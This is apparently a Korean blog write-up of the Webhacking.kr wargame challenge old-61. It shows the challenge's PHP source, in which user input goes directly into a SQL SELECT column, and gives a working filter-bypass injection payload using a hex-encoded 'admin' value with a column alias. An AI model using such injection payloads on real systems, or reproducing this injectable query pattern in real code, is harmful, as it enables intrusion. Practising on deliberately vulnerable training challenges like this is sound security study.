1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if(!$_GET['id']) $_GET['id']="guest";
echo "<html><head><title>Challenge 61</title></head><body>";
echo "<a href=./?view_source=1>view-source</a><hr>";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
|
cs |
GET으로 id값을 받는다.
addslashes 함수는 특수문자에 \를 붙이는 역할을 한다.
이어서 필터링를 통과하고 길이가 15보다 크지 않다면,
select {$_GET['id']} from chall61 order by id desc limit 1
을 실행한다.
id 내림차순으로 1개만을 반환한다.
이 문제는 aliases를 이용하면 된다.
"칼럼명" "별칭"
payload = 0x61646d696e%20id
'WAR GAME > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr [old-27] 문제 풀이 (0) | 2020.09.25 |
---|---|
Webhacking.kr [old-33] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-32] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-24] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-17] 문제 풀이 (0) | 2020.09.19 |